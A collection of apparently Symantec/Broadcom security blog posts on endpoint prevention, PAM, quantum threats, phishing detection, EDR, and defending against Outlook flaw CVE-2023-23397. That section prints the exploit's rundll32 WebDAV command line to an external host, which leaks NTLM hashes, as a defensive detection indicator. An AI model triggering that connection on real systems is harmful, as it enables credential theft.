Artificial intelligence (AI) and automation will make businesses more productive and is already being implemented. But if businesses don’t know where the kill switch is from the outset, or ready their artificial intelligences for malicious attacks, it could cause major problems further down the line. Graeme K Hackland, CIO at Williams F1 Team discussed the risks of handing over too much power to automated systems.
We’re currently used to having humans make the decisions in our businesses and we’re used to being able to raise the flag and course correct if we see that something is going wrong. ‘black box’ AI or Machine Learning, where data goes in and actions take place or conclusions come out could cause significant problems. Without having insight into the process, it will become increasingly difficult for businesses to identify if data or systems have been tampered with. A hacker could gain access to an AI, or the systems that feed it. Whether changing data, inputs, sources or confusing hard coded and learned rules, attacks could bring businesses to a standstill.
Graeme Hackland, CIO at Williams F1 Team
What happens when hackers get their hands on AI?
Automation was also front of mind for Peter Wood, Chief Executive Officer at First Base Technologies. In his work, he can see how hackers are already beginning to make use of automation within the cyber kill chain. As this use expands, hackers will be able to automate all the different stages of an attack. Worst of all, they will be able to commoditise the automated attacks as a service, and carry out increasingly clever attacks faster than ever before. So what happens when machine learning and AI becomes accessible to hackers in the very same way? Adaptive malware, AI social engineers – hacking will become far more efficient and effective.
Peter Wood, CEO at First Base Technologies
Power to the people
Fortunately, cyber defence is rapidly evolving and currently the good guys are way ahead on the AI and ML curve. But technology and investment alone will not be enough for us to defeat these attacks. Just as we know the hydra will grow new heads, we know attackers are never far behind industry innovations. New systems will combine both technology and behavioural understanding to help find the solution to these challenges.
Think about it like neighbourhood watch. The more people that are in it, the more eyes on the street and consequently, the safer you are. If we ask users the right questions, we could – at scale – prevent attacks before they even occur.
But people need to be engaged the right away. For too long, we’ve been dragging employees kicking and screaming into becoming cyber experts when they quite simply don’t care. We have to change this approach, and that has as much to do with psychology as it does with the technical resources that we give users. Get this right, and we’ll be better placed to face the challenges of tomorrow.
Symantec's Crystal Ball Event
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Prevention for the Enterprise: Your Most Important Defense
Keeping malware off endpoints is essential to defense in depth
At Symantec, by Broadcom Software, we know that in the continuing conflict between businesses and bad actors, the endpoint is a key battleground. That has led many organizations to focus primarily on Endpoint Detection and Response (EDR) and its successor Extended Detection and Response (XDR) for their endpoint security strategy. Both are defensive approaches that have proven effective at finding, isolating, and mitigating attacks that originate at endpoints and do damage throughout an organization.
But stop and think for a moment. Although detecting and responding are essential defensive measures, wouldn’t you be better off preventing attacks from breaching your organization to begin with? Even if you detect and respond to a threat, can you completely eradicate the damage it might have done? To do so, you might have to rebuild your systems from the BIOS on up. Think of the time, effort and lost productivity that entails.
“When attacks are prevented from entering and causing any damage, organizations can save resources, costs, damages, time, and reputation,” according to a recent Ponemon Institute report. The report measures the financial impact of defending against a phishing attack, the average cost of which is $832,500. Of that amount, 82% is spent on detection, containment, recovery, and remediation, leaving only 18% that is spent on prevention. Thus, the report concludes, preventing the attack would save $682,650 on average.
Symantec Endpoint Security (SES) Complete, a re-architected approach to endpoint security, builds on its predecessor Symantec Endpoint Protection (SEP).
Dave Gruber, principal ESG Analyst, says the emphasis on detection and response has gone too far. “ESG worries that security vendors may be over-rotating to detection and response, shifting investment from critical prevention capabilities to the growing market opportunity associated with XDR.” Gruber’s assessment comes in the report, “An Ounce of Prevention is Worth a Pound of Detection and Response.”
According to Gruber’s research, 75% of survey respondents say preventative malware/antivirus protection is an important core capability for an endpoint security solution to have. That’s more than any other endpoint capability, including EDR, which 63% say is important. Gruber will elaborate on the report’s findings in the upcoming webinar: Endpoint Security Prevention or Detection? Weighing Options in Dollars and Sense.
The ESG report also asserts that emphasizing prevention is an important tactic in executing a zero-trust cyber security strategy. That makes sense. If endpoints are not to be trusted, the best approach is to prevent malware from ever reaching them. According to ESG, 75% have an active endpoint security initiative underway that furthers their zero-trust initiative.
According to Gruber’s research, 75% of survey respondents say preventative malware/antivirus protection is an important core capability for an endpoint security solution to have.
One might ask why detection and response tend to be favored at the expense of prevention. One probable reason is that prevention is the most difficult aspect of cyber defense to achieve. In the Ponemon report, 80% say it’s harder than detecting, containing, recovering, or remediating. Another reason might be psychological – the feeling you get when you detect and isolate an attack: Aha! You’ve caught it! Whereas by preventing the attack, you might not know whether you had been attacked or not, and therefore whether your investment in prevention, admittedly difficult, was worthwhile.
All this seems like a daunting conundrum, but there is good news. Symantec Endpoint Security (SES) Complete, a re-architected approach to endpoint security, builds on its predecessor Symantec Endpoint Protection (SEP). SES Complete emphasizes prevention in a defense-in-depth architecture that includes these integrated elements:
Adaptive Protection based on machine learning
Mobile protection
Active Directory protection
Analyst-curated detection and notification.
On top of those features, SES Complete consolidates multiple endpoint agents into a single agent, and feeds security information into a centralized analytics engine. If you are still using SEP, now is a good time to make the move to SES Complete. As you contemplate your next step, be sure to check out the webinar: Endpoint Security Prevention or Detection? Weighing Options in Dollars and Sense, where you’ll hear valuable insights from ESG’s Dave Gruber into the indispensable role of prevention in a layered cyber security defense.
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Privileged Access Management: What is Privilege and How is it Changing?
With the rapid expansion of privileged access, it’s time to redefine what it means to be a privileged user
What does the concept of privileged identity mean to the Enterprise? The phrase used to refer to a narrow scope of systems administrators within an organization’s IT department. But now that definition is changing. In my most recent blog I wrote about how new customer challenges are driving an exponential increase in the number of users that are considered to be privileged. We’re also no longer just talking about people — we’re talking about services and bots — often driven by automation and DevOps.
In many organizations today, business users have access to sensitive data and now require the same kinds of privileged access management capabilities that were formerly only needed by IT. Companies using marketing automation systems, for example, need to consider that designated business users now have access to customer names and account information that could lead to a serious data breach if this data is leaked. These users need to be managed by a privileged access management solution to prevent accidental or malicious activity given the sensitive nature of the data they can access.
We’re also no longer just talking about people — we’re talking about services and bots — often driven by automation and DevOps.
With these changes, is it time to redefine the meaning of privilege? I had the opportunity to discuss this question with Merritt Maxim, VP, Research Director, Forrester, during the second of our recent Symantec, a division of Broadcom (NASDAQ: AVGO), webchats centered on the topic of “Privileged Access Management: Are you where you need to be?” In this discussion we addressed the changing nature of privilege and the growing convergence between the identity access management (IAM) and privileged identity management (PIM) markets.
Here are some key takeaways from our conversation:
1. The Concept of Privilege is Changing:
The concept of privilege is changing as privilege itself expands to a broader spectrum of use cases. Merritt argues that this expansion applies not only to C-suite executives who might have greater access to internal systems but also to new use cases, such as DevOps, with its twin needs for speed and broad access to enterprise information. These requirements often come at the expense of security and governance. Another key driver is the growing range of privacy regulations, such as the EU’s General Data Protection Regulation (GDPR) and the California Consumer Privacy Act (CCPA). Privileged identity management is increasingly seen as the best way to stay compliant with these new regulations.
2. Privilege Management Enhances Security:
The more that organizations understand the need for expanding privilege, the better their security. This understanding is helping enterprises drive greater value out of their existing solutions as they extend them to broader sets of users. This is the real value that all organizations should seek to unlock, even if they don’t have an existing PAM solution. Enterprises should look to their security vendor to help them uncover emerging use cases outside the traditional IT universe.
3. The PAM and IAM Markets are Complementary:
Although the privileged and identity security markets are still separate, they are beginning to converge. The identity market remains distinct because it involves the whole workforce. The two markets also have different buying cycles and workflows. However, while they remain distinct, they are becoming more complementary. Merritt points out that there is definitely a value in having a supplier, like Symantec at Broadcom, which offers both IAM and PAM solutions.
4. Expanding the Control of Privilege First Creates Practical Experience in Implementing a Least Privilege Strategy for the Entire User Community:
Because privileged access management is more limited in scope and easier to control than a full IAM implementation, enterprises can gain valuable experience by implementing zero trust and least privilege policies for privileged users before doing it for the general user community. This strategy will help organizations create a template for applying these principles to their next projects. Implementing a PAM solution first also makes it easier for customers to get quick wins faster because there’s a lot fewer business processes and stakeholders involved. The PAM project can be the inspiration needed for the confidence to take on the larger task of implementing these principles for the entire user community, one group at a time.
New privileged access management systems, such as Symantec Privileged Access Management, that are based on principles of least privilege and Zero-Trust, and that redefine privilege and how it is changing allow customers to:
Maximize your investment: Symantec PAM combines the benefits of privileged access to new business use cases across the entire enterprise with the lowest cost of ownership.
Protect hybrid enterprise: By expanding privilege, Symantec PAM drives greater value out of your existing solutions as it extends them to broader sets of users, controls privileged access across all IT resources, from cloud to mainframe, and compliments Symantec Endpoint and Network Security solutions.
Address Regulatory Compliance: Symantec PAM provides many of the controls governing privileged access that are mandated by emerging data privacy laws and regulatory and industry compliance mandates.
Build your confidence and expertise: Symantec PAM serves as a template for applying principles of least privilege and Zero-Trust and makes it easier for customers to get quick wins faster.
In my next blog in this series, the topic I will cover is “Building a Zero-Trust Organization.” Please join me as I look forward to sharing more of our conversations and learnings around the areas of Privilege Access Management.
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Proactively Preparing for Quantum Computing Threats
With quantum computing poised to become more mainstream, experts say it could easily crack some of the most pervasive cryptography methods now in use, including ubiquitous asynchronous public key schemes such as RSA
As anyone following the news knows, IT and security professionals are occupied with plenty of challenges nowadays. Given the frenetic state of cyber security affairs, do these experts and their organizations really need to start planning for a theoretical threat that may not even materialize for 5 to 10 years, if then?
For a growing number of security and risk-management specialists, the answer is an unequivocal “Yes.”
Why? Because the future threat – that of quantum computing – could easily crack some of the most pervasive cryptography methods now in use, including ubiquitous asynchronous public key schemes such as RSA.
The theoretical concepts behind quantum computers are decades old, but researchers in government and large corporate labs have recently started to make significant progress in building early generations of these machines. And, while the evolution and timing of advanced quantum computers remains uncertain, organizations should already be assessing the risks these machines may pose to their data security.
Quantum Computing Basics
As their name connotes, quantum computers harness quantum mechanics principles to gain capabilities beyond the scope of even the most powerful of today’s binary digital computers. Unlike the definitive 0 or 1 states of digital bits, quantum bits, or qubits, can simultaneously be in two states thanks to a property known as superposition.
Another phenomenon, quantum entanglement, affects how two or more qubits interact with each other. In essence, changing the state of one qubit alters the state(s) of the qubits with which it is entangled.
These core properties allow quantum computers to tackle certain categories of problems that are largely or wholly beyond the reach of classic digital computers. That can be a good thing if, for example, you’re trying to simultaneously test thousands of molecular structures to find the one best able to function as an effective pharmaceutical.
On the flip side, certain algorithms running on quantum computers can decipher encryption keys that are all-but unbreakable today. Most notably, one well-known quantum algorithm can rapidly factor integers. Unfortunately, public key cryptography relies on the use of large integers that are computationally intractable with today’s machines. A quantum computer containing several hundred qubits – still several years away, by most estimates – might be able to easily factor such integers.
These and other cyber security threats posed by quantum computers have catalyzed the field of post-quantum encryption, which aims to develop “quantum-resistant” encryption schemes. Among those organizations pursuing quantum-resistant algorithms is the U.S. Department of Commerce’s National Institute of Standards and Technology, which has organized an open competition for the creation and evaluation of such solutions.
Getting ahead of the Quantum Curve
As with quantum computing itself, the evolution and timing of quantum-resistant encryption algorithms is somewhat hazy. Successful algorithms will need to provide effective protection without imposing computational overhead and costs so onerous as to make them impractical.
Still, if some quantum-resistant methods gain traction, it may make sense for vulnerable organizations to begin deploying them sooner rather than later.
“It’s unlikely that one day someone will drop a large quantum computer in the field and every piece of encryption will be broken overnight,” acknowledges Dr. Saurabh Shintre, a senior principal researcher at Symantec Research Labs. But adversaries aren’t necessarily waiting for the advent of the quantum computing era, he notes. For example, some intelligence agencies are reportedly intercepting encrypted communications and archiving them, with plans to decrypt the messages once quantum computers are up to the task.
The first step organizations should take is to identify how their current assets are protected, and to determine if those protections are quantum resistant.
As organizations begin to grapple with the ramifications of the quantum computing trend, they should keep one core principle in mind. “Security is never implemented without understanding what you’re securing against,” Shintre says.
To that end, the first step organizations should take is to identify how their current assets are protected, and to determine if those protections are quantum resistant. “If not,” Shintre asks, “what would be the cost and time needed to upgrade these algorithms, and how should you prioritize upgrades to different assets?”
Fortunately, some encryption methods are already quantum resistant, and others can be easily made so. For example, making a 128-bit synchronous encryption key a 256-bit key would likely thwart even a powerful quantum computer.
Furthermore, the physics of creating and maintaining large-scale quantum computers are so daunting that the early iterations of these machines will approach the room-size footprint of early mainframe computers. There’s no near-term possibility of a portable quantum computer that, say, could be introduced into a local-area network and used to decipher the encrypted data within it.
Working against organizations, however, is the human tendency to ignore threats until they actually start wreaking havoc. Given that quantum computers could unlock vast troves of encrypted data in the not-too-distant future, smart organizations will do their best to prepare today for this brave new world of tomorrow.
If you found this information useful, you may also enjoy:
NIST: The Race to Build a Quantum Computer
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Project Dolphin Eats its One-millionth Phish
Dolphin ate its one-millionth phish
Earlier this month, one of our favorite projects hit a major milestone: Dolphin ate its one-millionth phish.
Dolphin (so-called "because dolphins are smart, and eat phish") was born a few years ago when one of our GIN (Global Intelligence Network) researchers was reflecting on how phishing attacks worked:
Lure victims to the phishing site (usually via e-mail).
Present a believable page that mimics another site.
The victims, thinking they are on the real site, enter their credentials.
Those credentials are instead sent to the “phisherman.”
The second point was interesting: the phishing site had to look authentic. So, what if we built a system that could visually compare a screenshot of a possible phishing site with a saved collection of such sites? Would it be fast enough and accurate enough to be useful?
He thought it would, so he went to work and produced a functional prototype, and demo'ed it to the rest of the GIN R&D team. We loved it -- it was such a cool idea! And yes, it was really accurate at catching phishing pages.
Well, Dolphin has been running in production mode for a couple of years, leading to the milestone of one million phishing page detections.
Even for someone in the business of Internet security, the thought of a million phishing pages (on hundreds of thousands of different sites) boggles the mind. Especially given that a very large percentage of those sites are set up via "phishing kits" on someone else's legitimate site that's been compromised. (That is a whale – or a shark -- of a lot of hacked sites!)
A Bit About Phishing Kits
As an offshoot of the research on Project Dolphin, we've also been collecting information about the phishing kits we see being used in the wild. There are interesting statistics galore, such as tracking the most common brands that the phishing kits are mimicking. For example, here are the top brands being mimicked or targeted in December 2017, as collected in our "Aquarium" (i.e., the place where you go to look at captive phish).
*A mimicked brand phishing page may not actually be targeting login data for that brand's real site; it may be in use as "bait" to get other credentials. Typically, the credentials being phished for in that case are the victim's e-mail account/password.
In a typical day, Dolphin sees well over 1,000 different phishing pages (screenshots in the Aquarium, representing unique URLs). And that's just for the Top Ten Brands -- there is also a long "tail" of other brands that Dolphin is watching for, so the total daily count is a lot higher.
Thinking About the Targeted/Mimicked Brands
When Dolphin was created, our WebPulse system had been doing dynamic detection of phishing sites for a decade, so we weren't strangers to the phishing ecosystem. However, we didn't view phishing protection as a primary mission for WebPulse; the focus was supposed to be on more "serious threats" -- things like advanced malware and attacks that were a threat to an Organization; phishing seemed like more of a threat to Individuals' data and money.
As the Aquarium began to fill up with captured phishing pages, however, we got some surprises. We saw that a lot of the top-targeted brands were not what we thought of as typical phishing -- banking and finance sites -- but instead were various Email and Cloud services.
This led to a talk at last year's RSAC-APJ conference, warning that organizations needed to re-think the threat posed by "phishing" -- it wasn't something that was just targeting their individual employee's personal data.
We recommended, among other things, that organizations expand their employees' security training to include the full spectrum of phishing attacks, and add training about the risks of Shadow Data as well. It's also good to explain *why* these things are important.
Looking ahead, we'll continue to feed Dolphin a high-protein stream of probable and possible phishing URLs to check. Through a combination of Web, endpoint, and e-mail intelligence; cloud infrastructure; and image processing, analysis, and comparison, driven by a machine learning system, Dolphin will continue to identify pages from an ever-widening ecosystem of phishing targets -- both traditional and new.
Unfortunately, it probably won't take a couple of years for Dolphin to eat its two-millionth phish.
If you found this information useful, you may also enjoy:
Phisherman Changing Targets: Impact Shift from Personal to Organizational
Symantec Web Isolation Phishing Demo Video
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Protecting Against Outlook Elevation of Privilege Escalation
Using Symantec Endpoint Security Complete (SESC) to detect and protect
Approximately ten percent of software vulnerabilities worldwide are classified as critical - meaning that there is significant cost for the systems they affect. Vulnerable systems face severe impacts to their integrity, confidentiality, and availability; all of which impair business operations and strain the security of user data. This is the case for the CVE-2023-23397 vulnerability, also known as the Microsoft Outlook Elevation of Privilege Vulnerability, made public by Microsoft on March 14th, 2023. CVE-2023-23397 is ranked as critical, based on the Common Vulnerability Scoring System (CVSS), scoring a 9.8 out of 10. This base score metric means that the vulnerability is remotely exploitable with low complexity and no user interaction required. In other words, the easier to exploit the greater the impact to the CIA triad.
Those customers who employ Symantec Endpoint Security Complete (SESC) have an added layer of security against the exploitive nature of the vulnerability, using it’s single agent for attack surface reduction, attack prevention, breach prevention, and Endpoint Detection and Response (EDR).
Through endpoint security and detection, Broadcom protects these users by mitigating, and providing visibility into the effects of CVE-2023-23397.
Symantec Endpoint Security Complete: Detection features
By analyzing CVE-2023-23397, Infolock was able to evaluate the detection and mitigation resources that customers currently have with SESC. This includes policies for endpoint and response, compliance, intrusion prevention, and firewall.
Endpoint and Response Policies: Detect WebDAV connections
If your organization blocks SMB traffic to the Internet, Windows will fall back to using WebDAV to attempt to complete the connection under an exploitive vulnerability scenario.
An SESC Analyst can export a CSV file to analyze potential external destinations of the suspicious traffic using the following query: process.cmd_line.token:davclnt.dll,DavSetCookie.
On the Investigative tab, select the TIME, DESCRIPTION, DEVICE NAME, PROCESS COMMANDLINE, and USER columns.
An example of the query path
The Investigate report’s column called “Process Command Line” provides the following information that can be used as an evidence of a potential message exploiting CVE-2023-23397:
rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie <external destination IP-FQDN> hxxp://<external destination IP-FQDN>/shared-folder/sound.wav
Host Integrity Policies (aka Compliance policy)
Host Integrity policies include custom requirements against which the compliance of the device is checked. For example, you can define a requirement to check for the existence of a Windows registry key or a registry value.
For this specific vulnerability we developed two policies: Verify if the current Office version available internally is prone to the vulnerability and how to identify indicators of compromise (IoC).
Validate if a patched version of Outlook is deployed.
By using the Click-to-Run registry key, the Host Integrity policy can be used to determine if the specific registry value belongs to a patched Office version.
In this case, the condition to be used would be "Registry: Registry value exists." The value is based on a Click-to-Run version available at the registry.
Validating if a patched version of Outlook is deployed
Indicators of Compromise
The presence of specific registry keys is being analyzed as evidence that the user received a reminder for a Task or Note, under normal circumstances that registry key does not exist.
With SESC Host Integrity policy and a condition called "Registry: Registry Key exists" is possible to determine the existence of potential IoC, such as:
HKCU\Software\Microsoft\Office\<VERSION OF OUTLOOK>\Outlook\Tasks
HKCU\Software\Microsoft\Office\<VERSION OF OUTLOOK>\Outlook\Notes
Looking for IOCs
Intrusion Prevention Policies
Symantec Security Response currently includes IPS signatures for two Audit detections. These are: Audit: SMBv1 NTLM Authentication Attempt and Audit: SMBv2 NTLM Authentication Attempt.
Both signatures detect NTLM authentication attempt from a private IP address to public IP, this is because Windows OS can send NTLM hashes to external host automatically when connected to them. Attackers can later use the hashes for cracking or replay attacks.
Taking into consideration that the Audit signature will just log the event, the action after the detection can be changed as required.
Firewall Policies
It is a general rule of thumb to block TCP 445/SMB outbound from your network as this will prevent NTLM authentication messages being sent to remote file shares.
An SESC firewall policy requires that two key Security and Network factors are established:
Determine the internet resources that will be allowed outbound SMB connections.
Create a required SESC Host Group from the Policy Components area to list your internal/authorized SMB connection resources.
Determine if an external outbound SMB connection needs to be blocked or allowed with logging.
If you have a remote worker that requires SMB traffic to a non-VPN connected resource, a log policy will help you identify risks generated on the non-VPN device.
Once the above factors are determined the firewall policy should include two rules:
A rule to allow internal (or other authorized) SMB traffic
A block rule to restrict outbound SMB traffic to non authorized destinations.
Example 2. Creating Firewall policy
Example 1. Creating Firewall policy
With almost twenty years of experience in the information security field, I have been hands-on in assisting organization in battling cyber-attacks worldwide. Working with Symantec Enterprise security solutions has allowed me to provide customers with visibility, protection, and control against security threats and to mitigate, and even prevent all together, the impact of cyber-attacks, regardless of severity level.
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Protecting Defense Department Endpoints: A New Approach
EDR solutions now offer continuous recording of system activity to support full endpoint visibility and real-time queries
One of the most vulnerable areas of a network is one of the most difficult to monitor and protect – the endpoint. This is true across the government, but with the distributed technology environment of the Department of Defense (DOD), it becomes even more challenging.
Lisa Belt, the acting cyber development executive for the Defense Information Systems Agency (DISA), defined this challenge during the agency’s industry day recently. Belt indicated that the DOD has been effective in securing traditional endpoints, but as the environment has become more complex, a next-generation approach is required.
“We have a phased approach because of the complicated environment,” Belt said. “Mobility has been expressly and intently built into that strategy as well as supervisory control and data acquisition (SCADA), Internet of Things and more non-traditional endpoints where we’ve done some work across the enterprise. But we really eventually under this phased approach will need to get after how all of the various endpoints security can come together.”
That is the key: how can the DOD rapidly search, identify and contain endpoints on-prem or in the cloud, wherever they might reside?
Integrating an Endpoint Detection and Response (EDR) Capability
To best maintain a defensible network architecture, the DOD of the future must be able to get insight, on demand, into what is transpiring within its networks, down to the endpoint. EDR technologies provide the deep level of insight that cyber operators need to identify and contain adversaries that have evaded traditional prevention technologies.
For the DOD, however, any EDR capability for driving hunt and forensics activities aimed at containing advanced, persistent threats must be scalable to millions of endpoints in all environments, including in low bandwidth areas and large-scale disconnected networks.
EDR solutions have progressed significantly, providing continuous recording of system activity to support full endpoint visibility and real-time queries. Symantec’s EDR platform, for example, provides a central console management capability that can remove malware and associated artifacts from impacted endpoints, and rapidly push counter measures directly to the devices. In addition, advanced machine learning and behavioral analysis functions are now integrated in EDR solutions, offering the ability to identify bad or suspicious files, as well as detect file-less attacks that make use of memory exploits.
These advances in EDR technology greatly enhance an investigator or analyst’s productivity by prioritizing incidents by risk, and automatically generating mitigation options for targeted attacks. Analysts can also proactively hunt for indicators of attack and perform rigorous endpoint analysis quickly and efficiently.
EDR and the DOD
The DOD established its Endpoint Security Solutions (ESS) program with the goal of preventing targeted and deliberate attacks against network operations. Even with this in place, Belt indicated during DISA’s Industry Day, a new endpoint security policy is on its way for the DOD. According to Belt, the new policy will incorporate lessons learned to more strategically converge traditional endpoint security with emerging requirements for mobile device and critical infrastructure protection, among others.
By looking at an industry-leading EDR solution, like Symantec’s, the DOD will gain:
A deeper level of insight into adversary’s techniques and tactics
Robust hunt and forensics capabilities, scalable to millions of endpoints
Rapid search, identity and containment of endpoints on-prem or in the cloud
Continuous recording of system activity to support rapid remediation from a single console
Rapid remediation including file deletion, blacklisting and endpoint quarantine
Symantec’s EDR platform was recently selected as a Gartner Peer Insights Customers’ Choice for Best Endpoint Detection and Response Solutions of 2019. For more information, visit the Gartner webpage.
For additional information on our EDR solution, download the datasheet now.
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Protecting Symantec Customers on the Endpoint through Network Protection
Proud to be the AV vendor of choice
Marketing and malware both thrive on misdirection. With malware it’s called social engineering. With marketers it’s labeling the competition. For example: referring to certain security vendors as AV vendors. It is meant to be derogatory, painting them as dinosaurs still struggling to provide protection to their customer with ancient, file scanning technology. They also like to label themselves “next gen”. You can see my thoughts on that here.
As one of those “AV vendors” I refuse to say that file-scanning is dead. It’s still an important part of Symantec’s protection story. In fact, I can put a number on it. Signature based file-scanning (what our competitor’s marketing teams have labeled as AV) is responsible for 10% of all our detection. That’s based on our analysis of all proactive and reactive detections we made on Symantec endpoints in 2020.
Marketing and malware both thrive on misdirection.
Behavioral, Heuristic and Machine Learning technologies are all important parts of our endpoint protection story and contribute to detection. Those technologies catch unknown threats. And once we know them – we add signatures for them. Because customers want to know the name of threats attacking them. So even that 10% number above is artificially high.
But the dominant technology protecting our customers on the endpoint is Network Protection - otherwise known as IPS (Intrusion Prevention Systems). It stops 70% of all threats. It’s truly protection technology, stopping threats before they even get on an endpoint. It’s been an incredible success story for Symantec and our customers.
So, you can understand the labeling from competitors. When we stop a threat on the network, before it gets on a machine 70% of the time, marketers without that kind of technology want to focus only on AV. We are pretty proud of our AV technology, but don’t be misdirected from seeing the whole picture.
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Protection and Prevention from Symantec Solutions
Focus on the facts
We’ve heard the claims competitors make, and we’ve seen many that are intended to persuade without regard for the truth. At Symantec, by Broadcom Software, we like to focus on facts and build our technologies around real cyberattacks and real threat research. This means prevention; it means protection; and it means our customers can sleep at night knowing Symantec has its eyes trained on protecting their businesses.
Today, we are focused on four specific facts. They are important because these are the reasons why our customers continue to place their trust in us for their security protection. Take a look.
Fact # 1: Symantec delivers a single agent and customizes management for our customer’s environment.
Symantec Endpoint Protection is delivered in a single agent – one that also extends EDR, Cloud SWG, ZTNA, Cloud Firewall, CASB, DLP and other capabilities. Symantec products also are moving quickly to a single agent across all product lines.
Symantec’s mix of cloud, on-premises and hybrid deployment options fit specific customer needs, and customers are not forced into a cloud-only solution. We offer flexible deployment, unlimited scaling and massive infrastructure support.
Fact #2: Symantec uses every technology we have, 50+ and counting, to protect customers.
Signatures have been around since Symantec began shipping security products. They are fast, efficient and have an extremely low false positive rate. They remain a small but active part of our security solution because they also do something ML signatures cannot: identify a threat by name.
We do not call ourselves an AV company. That would be ignoring the 50 additional protection technologies we deploy, including new innovations we have created like Adaptive Protection.
Fact #3: Symantec responds to today’s threats.
The protection in SES Complete is never out of date. Symantec invented the concept of LiveUpdate because there was a true customer need. As AI signatures go out of date, they are quickly refreshed, with LiveUpdate supporting a critical step in staying ahead of the threat landscape. This means that whether a customer’s environment is rooted in a Cloud, On-prem or Hybrid operation, Symantec quickly and efficiently updates the Symantec Enterprise Security clients with the latest protections to stop threats.
And all of our detections, as well as observed events, are enriched with threat intelligence and MITRE ATT&CK context, to provide visibility. To top it all off, SES Complete provides response options so you know what steps to take once a threat is detected.
Fact #4: Symantec offers a single solution that provides full attack visibility and outperforms competitors in 3rd party tests.
When considering endpoint security options, there are many technologies that should be included in order to receive a complete solution. Symantec sells these capabilities as one product. EDR functionality, along with Endpoint Protection, and Threat Intelligence are all part of our single “SES Complete” customer offering.
This package of endpoint security capabilities comes together as a single winning combination. As proof, we look to a newly released, real world test where Symantec outperforms our competition with 100% accuracy. And that’s the truth.
We can’t possibly share all our truths here. If you want to hear more: contact us here and learn how Symantec can deliver comprehensive protection for all your traditional and mobile devices across the entire attack chain.
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Providing World Class Security – Symantec Leads With Its Teams
Bret Jordan Wins Prestigious Standards Award
Symantec, as a division of Broadcom, continues to provide best in class security protection, leveraging the strength of its innovation, breadth of solutions, and its people. Symantec’s Bret Jordan, technical director in the Office of the CTO, has been named a Distinguished Contributor by the OASIS Open standards body for his long standing work with the cyber security and threat intelligence communities, demonstrating the cutting-edge work necessary to keep our customers safe.
Jordan is a prime example of how Symantec’s thought leaders now deliver world-class insight and products to the marketplace as part of Broadcom.
Jordan has more than 25 years of experience in cyber security – from both product and end-user perspectives. In the recent past, he focused on long-term research and market strategy for the company. “I generally worked on problems that were much further out,” he says. “I worked generally in the five to seven-year timeframe.” Over the years, Jordan’s prognostications have been strikingly accurate – in the 80 percent range.
Symantec’s Bret Jordan, technical director in the Office of the CTO, has been named a Distinguished Contributor by the OASIS Open standards body for his long standing work with the cyber security and threat intelligence communities, demonstrating the cutting-edge work necessary to keep our customers safe.
He is currently in Symantec’s Product Management group leading work on security effectiveness and standards. “Standards are fundamentally important for the technology ecosystem at large,” Jordan explains. “If you have standards without implementations you just have a bunch of books on a shelf. However, if you have code without standards, you end up with ecosystem chaos and a general lack of interoperability.” Bottom line: Without standards chaos reigns.
The work allows Jordan to collaborate with government agencies, critical infrastructure, industry thought leaders and academic researchers worldwide to help drive creative technologies and solutions to protect crucial systems and data. At Broadcom that includes some of the largest customers and networks in the world.
How threat intelligence is communicated particularly interests Jordan. He helped write the STIX and TAXII standards that allow organizations to create, document and share cyber threat information. That includes information about threat actors, campaigns, hacker tool kits, malware, and vulnerabilities.
Historically, when an organization fends off an attack, it usually targets the Internet Protocol address, URLs, or file hashes of the threat. “That’s very inexpensive for attackers – they can change those pretty quickly,” Jordan points out. “What you want to do is block the higher level Techniques, Tactics and Procedures – the modus operandi of the threat actor.”
Central to that effort has been Jordan’s work on cyber security playbooks – a way to codify and quickly distribute ways to prevent, detect, mitigate, or even remediate security threats in cyber relevant time and then share them between organizations and even devices. “Standards enable vendors to compete on the value and effectiveness of their solution, not on the basics of protocols, languages, taxonomies, and APIs.”
Jordan has more than 25 years of experience in cyber security – from both product and end-user perspectives.
Currently, many organizations still keep their playbooks in a binder or in a WIKI. This is where the CACAO (Collaborative Automated Course of Action Operations for Cyber Security) comes into play. They create a structure for putting that information into a machine-readable format. “If you see a Fuzzy Panda outbreak you can look for a playbook on how to mitigate or remediate that,” Jordan explains. “It can give step-by-step commands for all of the cyber community.” Symantec is leading the way with helping organizations protect their networks, data, systems, and devices, along with designing solutions that will enable the SOC of the future to respond to threats in cyber relevant time.
Jordan’s standards work has had a direct impact on Symantec’s products and services – as well as the Internet at large. He has worked on the TLS1.3 standard that improves transport layer security; the QUIC protocol that improves performance of connection-oriented web applications like mobile and hand-held computers; and the DOH (DNS over HTTPS) standard which allows the Domain Name System, the phone book of the Internet, to operate with more privacy protections.
“I can bring my standards knowledge into our product groups and help make sure that our solutions are compatible with upcoming protocols that the market is asking for,” Jordan says. “It helps some of the largest customers and networks on the planet understand that we have a lot of technical insight and knowledge about how things are working.”
This kind of insight is central to Symantec’s work. In June 2020, the division’s Threat Hunter Team proactively detected a wave of attacks against dozens of American companies and identified the code as WastedLocker ransomware. The end goal of such incursions is to cripple the victim’s IT infrastructure by encrypting most of their computers and servers in order to demand a multimillion-dollar ransom. Symantec was able to warn the companies involved and help them block the assault before damage ensued.
Looking ahead, Jordan sees the urgent need for real-time security automation as devices proliferate on global networks and the opportunity for attacks expands exponentially.
Similarly, Symantec spotted a resurgence of so-called Dragonfly attacks on American and European energy companies in 2017. The threat’s origins were unclear, but the intent was not: potential sabotage. Customers were warned and protected.
Looking ahead, Jordan sees the urgent need for real-time security automation as devices proliferate on global networks and the opportunity for attacks expands exponentially. “Being able to mitigate and remediate in cyber-relevant time is going to be critical for every sector in the market – not just critical infrastructure,” he says.
Currently, the complex arc of identifying a threat, determining who is affected and creating a fix can be remarkably slow. “If you can take a mitigation response which is right now measured in terms of months and turn it into hours or days, that’s huge,” explains Jordan. More automation is also essential because the challenge grows daily. “You will not be able to hire enough people to touch every device manually. There are just not enough security practitioners on the planet.”
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Qakbot: Takedown Operation Dismantles Botnet Infrastructure
Botnet was one of the most prolific malware distribution networks.
A major international law enforcement operation has disrupted the notorious Qakbot botnet and taken much of its infrastructure offline. Led by the U.S. Federal Bureau of Investigation (FBI) and Justice Department and involving agencies from France, Germany, the Netherlands, the UK, Romania, and Latvia, the operation has resulted in the deletion of the Qakbot malware from more than 700,000 victim’s computers and the seizure of $8.6 million in cryptocurrency that is suspected to be the profit of cybercrime.
The takedown operation saw the FBI obtaining access to Qakbot infrastructure, which allowed it to identify more than 700,000 infections and redirect the botnet’s traffic to servers controlled by the agency. An uninstaller was then distributed that removed the infected computers from the botnet.
Background
